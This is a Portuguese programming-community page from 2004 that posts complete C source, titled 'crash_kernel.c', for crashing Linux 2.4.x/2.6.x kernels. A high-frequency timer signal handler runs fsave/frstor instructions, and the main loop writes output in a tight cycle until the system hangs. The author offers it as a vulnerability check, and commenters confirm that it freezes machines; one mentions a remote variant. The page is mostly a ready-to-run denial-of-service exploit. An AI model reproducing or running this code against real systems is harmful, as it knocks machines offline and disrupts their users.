Faz um crash no Kernel do Linux

Publicado por Mauricio 15/06/2004

[ Hits: 6.046 ]

Homepage: http://www.mbmaciel.com

Download crash_kernel.c




Use este programa no seu sistema para ver se você está vulnerável a este bug. A maioria das versões 2.4.2x estão vulneráveis.

  



Esconder código-fonte

  #include <sys/time.h>
  #include <signal.h>
  #include <unistd.h>
  
  static void Handler(int ignore)
  {
   char fpubuf[108];
   __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
   write(2, "*", 1);
   __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
  }
  
  int main(int argc, char *argv[])
  {
   struct itimerval spec;
   signal(SIGALRM, Handler);
   spec.it_interval.tv_sec=0;
   spec.it_interval.tv_usec=100;
   spec.it_value.tv_sec=0;
   spec.it_value.tv_usec=100;
   setitimer(ITIMER_REAL, &spec, NULL);
   while(1)
    write(1, ".", 1);
  
   return 0;
  }

Scripts recomendados

Cifra de César!

Fork bomb em C

intdb - gerador de wordlist numerica

Criptografia rot13

Esse código pode ser considerado um vírus?


  

Comentários
[1] Comentário enviado por jose_maria em 15/06/2004 - 18:31h

Muito cuidado ao executar este código. Trava linux com kernel 2.4.x e 2.6.x. Porém o só resetar e tá tudo ok.

[2] Comentário enviado por jose_maria em 15/06/2004 - 18:31h

Muito cuidado ao executar este código. Trava linux com kernel 2.4.x e 2.6.x. Porém é só resetar e tá tudo ok.

[3] Comentário enviado por ygorth em 15/06/2004 - 20:00h

Segue mais informacoes para os curiosos:

http://www.linuxreviews.org/news/2004-06-11_kernel_crash/index.html

[4] Comentário enviado por mbmaciel em 16/06/2004 - 14:27h

Foi mal esqueci de dizer. Ele trava seu linux, mas como disse o jose_maria é só resetar e ok.

[5] Comentário enviado por dadiel em 29/06/2004 - 22:22h

Por gentileza, conhecem algum fonte que transforma arquivos do Word em HTML em C++, se puderem me ajudar me enviando algo desde agradeço.

dadiell@bol.com.br

[6] Comentário enviado por tatototino em 06/08/2006 - 02:09h

já fiz um desse mas remoto com a função setcockopt();


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts